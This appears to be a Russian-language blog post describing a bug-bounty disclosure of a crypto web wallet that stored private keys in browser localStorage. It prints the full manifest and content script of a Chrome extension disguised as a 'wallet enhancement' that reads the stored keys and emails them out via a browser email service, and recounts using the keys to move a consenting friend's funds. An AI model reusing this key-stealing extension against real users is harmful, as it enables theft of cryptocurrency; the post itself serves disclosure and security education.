В январе 2022 года я присоединился к сообществу одного из блокчейнов с доказательством доли владения. Чтобы поиграть с тем, что предлагает протокол и его экосистема, я создал учетную запись кошелька на официальном сайте https://wallet.****.org
. Помимо общего любопытства, меня интересовало, как они добились безопасности в браузере, особенно в эпоху расширений и уязвимостей на стороне клиента.
Оказалось, что когда пользователь входил в систему, приложение-кошелек (встроенное в React) генерировало набор открытых и закрытых ключей и сохраняло их в локальном хранилище браузера. Имея опыт построения аутентификации и авторизации в распределенных системах, я знал, что это не лучший вариант — в общем, расширение браузера и клиентский код легко считывают данные из локального хранилища[ 1 ].
Чтобы доказать это, я решил написать простое расширение для Chrome , которое будет получать ключи из браузера жертвы и отправлять их на мой анонимный адрес электронной почты.
Корневой каталог моего расширения Pocketpocket выглядел так:
. ├── content.js ├── email.min.js ├── index.html └── manifest.json
Основными файлами являются manifest.json
и content.js
. Первое необходимо для установки расширения.
{ "name": "X Wallet Enhancement", "version": "1.0", "manifest_version": 3, "content_scripts": [ { "matches": [ "https://wallet.****.org/*" ], "js": [ "email.min.js", "content.js" ] } ] }
email.min.js
— это просто клиентская библиотека одного из облачных сервисов, которая позволяет отправлять электронную почту прямо из браузера без какого-либо серверного кода. index.html
— это пустая HTML-страница, на которой ничего не отображается. Логика взлома кошелька находилась в файле content.js
:
emailjs.init('user_****'); // instantiating an email delivery service let templateParams = { // gathering information about the victim's browser from_name: navigator.userAgent, // fetching wallet keys from the local storage storage: window.localStorage.getItem('_*:wallet:active_account_id_**'), }; // using a prepared email template to send an email with keys const serviceID = 'service_****'; const templateID = 'template_****'; emailjs.send(serviceID, templateID, templateParams) .then(() => { console.log("Wallet keys were send!"); }, (err) => { console.error(JSON.stringify(err)); });
Да, такой дурацкий сценарий.
Я упаковал все четыре файла в zip-архив и любезно попросил своего друга, у которого тоже был кошелек на https://wallet.***.org
, установить мое творение в его браузер (притворяясь, что занимается социальной инженерией). Прежде чем сделать это, я рассказал ему о своих открытиях и теории, которую пытался доказать. Он был рад помочь, и открытый и закрытый ключи этой учетной записи кошелька появились в моем почтовом ящике через несколько секунд после установки расширения для браузера. Затем я сохранил ключи в локальном хранилище в своем браузере и открыл сайт кошелька.
Удивительно, но мне был доступен баланс криптокошелька моего друга, а также возможность вывести средства. Во время разговора в Zoom с моим другом-жертвой я перевел часть его средств на анонимный счет и обратно. Это было потрясающе! Новый многообещающий блокчейн, который недавно завершил инвестиционный раунд, имел серьезную уязвимость в своем кошельке. Хуже всего то, что у них была двухфакторная аутентификация пользователей. Конечно, не многие люди активировали бы его сразу, а многие и не сделали этого.
Как этический разработчик, я создал отчет об уязвимостях, включая исходный код расширения браузера и свои мысли о том, как улучшить безопасность веб-приложения. Оно было отправлено прямо на адрес электронной почты службы безопасности 18 января. Несколько дней спустя мне позвонил директор по информационной безопасности протокола блокчейна, и он заверил меня, что знает о проблеме и решит ее в следующем выпуске. Я был немного разочарован скоростью реакции на инцидент. Два дня – это вечность, когда речь идет о деньгах пользователей. Тем не менее, разработчики блокчейна предоставили мне свои токены на сумму, эквивалентную 1000 USDT.
👉🏻Совет разработчикам приложений: осознавайте технологии, которые вы используете, и аспекты их безопасности.
💡 Совет пользователям криптовалюты: узнайте, какие варианты безопасности предлагает вам организация, активируйте двухфакторную аутентификацию сразу после создания учетной записи кошелька, не храните все свои средства в горячих кошельках.
Также опубликовано здесь .